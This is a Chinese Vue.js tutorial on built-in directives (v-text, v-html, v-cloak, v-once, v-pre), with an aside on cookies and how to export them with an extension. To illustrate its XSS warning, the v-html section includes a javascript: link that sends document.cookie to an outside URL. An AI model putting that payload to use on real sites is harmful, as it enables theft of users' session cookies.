第12集丨Vue 江湖 —— 内置指令

news2024/11/26 20:00:59

目录

  • 一、v-text
  • 二、v-html
    • 2.1 基本使用
    • 2.2 cookie原理
      • 2.2.1 登入成功后cookies的信息
      • 2.2.2 手动增加cookie值
      • 2.2.3 cookie edit
  • 三、v-cloak
    • 3.1 案例
  • 四、v-once
  • 五、v-pre

到本节为止,我们学过的指令:

  • v-bind :单向绑定解析表达式
  • v-model :双向数据绑定
  • v-for:历数组/对象/字符串等
  • v-on:绑定事件监听,可简写为@
  • v-if:条件渲染(动态控制节点是否存在)
  • v-else :条件渲染(动态控制节点是否存在)
  • v-show:条件渲染(动态控制节点是否展示)

一、v-text

  1. 作用:向其所在的节点中渲染文本内容。
  2. 如果文本内容包含html标签,则不会解析。
  3. 插值语法{{xxx}}的区别:v-text会替换掉节点中的内容,插值语法则不。
<div id="root">
    <div>Hello, {{name}}</div>
    <div v-text="htmlStr"></div>
</div>
<script>
    new Vue({
        el:'#root',
        data:{
            name:'Vue',
            htmlStr:'<h3>Vue</h3>'
        }
        
    })
</script>

在这里插入图片描述

二、v-html

2.1 基本使用

  1. 作用:向指定节点渲染包含html结构的内容。
  2. 2.与插值语法的区别:
    (1). v-html会替换掉节点中所有的内容,{{xx}}则不会。
    (2). v-html可以解析html结构。
  3. 注意:v-html有安全性问题!!!
    (1). 在网站上动态渲染任意HTML是非常危险的, 容易导致XSS攻击。
    (2). 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<div id="root">
    <div>Hello, {{name}}</div>
    <div v-html="htmlStr"></div>
    <div v-html="htmlStr2"></div>
    <div v-html="htmlStr3"></div>
</div>
<script>
    new Vue({
        el:'#root',
        data:{
            name:'Vue',
            htmlStr:'<h3>Vue</h3>',
            htmlStr2:'<a href=javascript:alert(1)>点击我,你会发现奇迹!</a>',
            htmlStr3:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击我,你会发现奇迹2!</a>'
        }
        
    })
</script>

2.2 cookie原理

  1. 用户打开浏览器打开github登入页,输入用户名、密码请求登入。
  2. github服务器进行校验,登入成功,返回字符串cookie值,里面包括用户名和密码等信息,可以建简易的理解为键值对,k1:v1 k2:v2
  3. 查看github其他网页,如查看所有仓库,会同时把k1:v1 k2:v2发送给github服务器,此时我们不需要登入了。
  4. 如果有其他信息需要返回,k3:v3
    在这里插入图片描述

2.2.1 登入成功后cookies的信息

登入github成功后cookie的信息所下图所示,其中有一列为HttpOnly,这里如果打勾,表示只能通过http协议才能查看,其余方式查看不了,我们把这里的cookie的值都打勾,在控制台输入document.cookie 就查看不到任何cookie值了.

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

2.2.2 手动增加cookie值

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.2.3 cookie edit

安装插件:cookie edit ,如下图所示

在这里插入图片描述

点击插件图标,就可以看到cookie值了

在这里插入图片描述

可以导出cookie值,点击 Export JSON

在这里插入图片描述

[
    {
        "domain": "127.0.0.1",
        "hostOnly": true,
        "httpOnly": false,
        "name": "a",
        "path": "/",
        "sameSite": null,
        "secure": false,
        "session": true,
        "storeId": null,
        "value": "1"
    },
    {
        "domain": "127.0.0.1",
        "hostOnly": true,
        "httpOnly": false,
        "name": "b",
        "path": "/",
        "sameSite": null,
        "secure": false,
        "session": true,
        "storeId": null,
        "value": "2"
    }
]

打开其他浏览器,可以通过该插件导入cookie

在这里插入图片描述

三、v-cloak

v-cloak指令:没有值

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  2. css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

3.1 案例

下面案例中,加载vue.js时,由于控制的是过几秒才能加载成功。这个时候,将会阻塞页面,等到加载成功之后,会继续执行下面的脚本。

所以,为了避免在vue.js未加载成功时页面显示{{name}}的问题,我们使用了属性选择器[v-cloak]{display: none;} 隐藏。

vue.js加载成功之后,Vue会自动删除v-cloak属性,从而属性选择器便不起作用了,进而显示出name的值.

<style>
    /* 属性选择器 */
    [v-cloak] {
        display: none;
    }
</style>

<div id="root">
    <div v-cloak>Hello, {{name}}</div>
</div>
<script type="text/javascript" src="http://localhost:8080/vue.js"></script>
<script>
    new Vue({
        el:'#root',
        data:{
            name:'Vue'
        }
        
    })
</script>

四、v-once

v-once指令

  1. v-once 所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="root">
    <h2 v-once>初始化n的值是:{{n}}</h2>
    <h2>当前的n值是:{{n}}</h2>
    <button @click="n++">n++</button>
</div>
<script>
    new Vue({
        el:'#root',
        data:{
            n:1
        }
        
    })
</script>

五、v-pre

  1. 跳过其所在节点的编译过程,即原样输出。
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<div id="root">
    <h2 v-pre>Hello Vue</h2>
    <h2 v-pre>当前的n值是:{{n}}</h2>
    <button v-pre @click="n++">n++</button>
</div>
<script>
    new Vue({
        el:'#root',
        data:{
            n:1
        }
        
    })
</script>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/872430.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

idea生成springboot单元测试用例

1、找到需要生成单元测试的类型&#xff0c;右键Go To -> Test 2、选择JUnit4 和勾选需要测试的方法 3、查看自动生成的文件 public class CategoryMapperTest {Testpublic void findById() {}Testpublic void queryById() {} } 4、添加测试代码 RunWith(SpringRunner.cla…

【JavaEE】懒人的福音-MyBatis框架—[单表]增删改查等常规操作

【JavaEE】MyBatis框架要点总结&#xff08;2&#xff09; 文章目录 【JavaEE】MyBatis框架要点总结&#xff08;2&#xff09;1. 单表查看操作1.1 (条件查询)通过id查找用户1.1.1 接口上声明方法1.1.2 xml文件中去实现方法1.1.3 测试 1.2 传递参数的重点问题&#xff1a;sql注…

【LeetCode周赛】LeetCode第358场周赛

LeetCode第358场周赛 数组中的最大数对和翻倍以链表形式表示的数字限制条件下元素之间的最小绝对差 数组中的最大数对和 给你一个下标从0开始的整数数组nums。请你从nums中找出和最大的一对数&#xff0c;且这两个数数位上最大的数字相等。 返回最大和&#xff0c;如果不存在满…

手机商城网站的分析与设计(论文+源码)_kaic

目录 摘 要 1 1 绪论 2 1.1选题背景意义 2 1.2国内外研究现状 2 1.2.1国内研究现状 2 1.2.2国外研究现状 3 1.3研究内容 3 2 网上手机商城网站相关技术 4 2.1.NET框架 4 2.2Access数据库 4 2.3 JavaScript技术 4 3网上手机商城网站分析与设…

基于grpc从零开始搭建一个准生产分布式应用(3) - GRPC实现

本章开始会进入GRPC子专题&#xff0c;先实现前面章节中提到的例子。然后就使用的知识点展开全面的描述。本章代码任务&#xff1a;1、实现一个简单的GRPC服务&#xff1b;2、实现GRPC拦截器。 本章的代码承接上一章的代码进行迭代。因模块间存在相互依赖关系&#xff0c;读者一…

SpringBoot复习:(42)WebServerCustomizer的customize方法是在哪里被调用的?

ServletWebServletAutoConfiguration类定义如下&#xff1a; 可以看到其中通过Import注解导入了其内部类BeanPostProcessorRegister。 BeanPostProcessor中定义的registerBeanDefinition方法会被Spring容器调用。 registerBeanDefinitions方法调用了RegistrySyntheticBeanIf…

【MongoDB】一文带你快速掌握MongoDB数据库和集合基础操作

文章目录 前言一、案例需求二、数据库操作1. 选择和创建数据库2. 数据库的删除 三、集合操作1. 集合的显式创建&#xff08;了解&#xff09;2. 集合的隐式创建3. 集合的删除 总结 前言 为了巩固所学的知识&#xff0c;作者尝试着开始发布一些学习笔记类的博客&#xff0c;方便…

pycorrector一键式文本纠错工具,整合了BERT、MacBERT、ELECTRA、ERNIE等多种模型,让您立即享受纠错的便利和效果

pycorrector&#xff1a;一键式文本纠错工具&#xff0c;整合了Kenlm、ConvSeq2Seq、BERT、MacBERT、ELECTRA、ERNIE、Transformer、T5等多种模型&#xff0c;让您立即享受纠错的便利和效果 pycorrector: 中文文本纠错工具。支持中文音似、形似、语法错误纠正&#xff0c;pytho…

激活函数总结(七):激活函数补充(Softsign、Threshold、Sinc)

激活函数总结&#xff08;七&#xff09;&#xff1a;激活函数补充 1 引言2 激活函数2.1 Softsign激活函数2.2 Threshold (Unit step activation function) 激活函数2.3 Sinc激活函数 3. 总结 1 引言 在前面的文章中已经介绍了介绍了一系列激活函数 (Sigmoid、Tanh、ReLU、Lea…

Java-运算符和控制语句(下)(基于c语言的补充)

输出到控制台 System.out.println(msg); // 输出一个字符串, 带换行 System.out.print(msg); // 输出一个字符串, 不带换行 System.out.printf(format, msg); // 格式化输出 从键盘输入 使用 Scanner 读取字符串/整数/浮点数 首先需要导入util包 自动导入util包 这里把回车看…

21-因子个数

题目 一个正整数可以分解成一个或多个数组的积。例如362*2*3*3&#xff0c;即包含2和3两个因子。NowCoder最近在研究因子个数的分布规律&#xff0c;现在给出一系列正整数&#xff0c;他希望你开发一个程序输出每个正整数的因子个数。 输入描述: 输入包括多组数据。 每组数…

Ubuntu22开机后正上方弹出“Printer addded(已添加打印)”等提示框

一、问题描述 Ubuntu22开机后正上方弹出“Printer addded&#xff08;已添加打印&#xff09;”等提示框。如下 二、问题分析 1、列出当前所有开机启动服务 service --status-all msmoshui:~$ service --status-all[ - ] alsa-utils[ - ] anacron[ ] apparmor[ ] app…

预测算法|改进粒子群算法优化极限学习机IDM-PSO-ELM

回归拟合&#xff1a; 分类 本文是作者的预测算法系列的第四篇&#xff0c;前面的文章中介绍了BP、SVM、RF及其优化&#xff0c;感兴趣的读者可以在作者往期文章中了解&#xff0c;这一篇将介绍——极限学习机 过去的几十年里基于梯度的学习方法被广泛用于训练神经网络&am…

全网最详细,Pytest自动化测试框架-Fixture固件实战,你要的都有...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 什么是固件 Fixt…

SpringBoot整合Redis完整篇

SpringBoot整合Redis完整篇 1、在springboot项目的pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schem…

用HARU-Net增强核分割:一种基于混合注意的残差u块网络

文章目录 Enhancing Nucleus Segmentation with HARU-Net: A Hybrid Attention Based Residual U-Blocks Network摘要本文方法损失函数后处理消融实验 Enhancing Nucleus Segmentation with HARU-Net: A Hybrid Attention Based Residual U-Blocks Network 摘要 核图像分割是…

B3716 分解质因子 3

#include <bitset> #include <vector> #include <iostream> #include <algorithm>const int maxn 100000008;std::vector<int> prm, pre; // pre is the min-factor array. bool np[maxn];void getPrime(const int N 100000000) {//线性筛&am…

Fast SAM与YOLOV8检测模型一起使用实现实例分割以及指定物体分割(有代码)

Fast SAM与YOLOV8检测模型一起使用 VX 搜索”晓理紫“ 关注并回复yolov8fastsam获取核心代码 晓理紫 1 使用场景 实例分割数据集的获取要比检测数据的获取更加困难&#xff0c;在已有检测模型不想从新标注分割数据进行训练但是又想获取相关物体的mask信息以便从像素级别对物体进…

Redis原理简述

Redis原理简述 Redis 有哪些特性 1. 特性 key-value 型内存数据库单线程——原子化操作支持lua脚本发布与订阅可持久化逐出与过期……2. 持久化 RDB:经过压缩的二进制文件;fork子进程进行操作AOF:保存所有写命令;先写缓存再同步至AOF文件;文件过大时会触发AOF重写3. 过期…

4. 发布确认

4.1. 发布确认原理 生产者将信道设置成 confirm 模式&#xff0c;一旦信道进入 confirm 模式&#xff0c;所有在该信道上面发布的 消息都将会被指派一个唯一的 ID(从 1 开始)&#xff0c;一旦消息被投递到所有匹配的队列之后&#xff0c;broker 就会发送一个确认给生产者(包含消…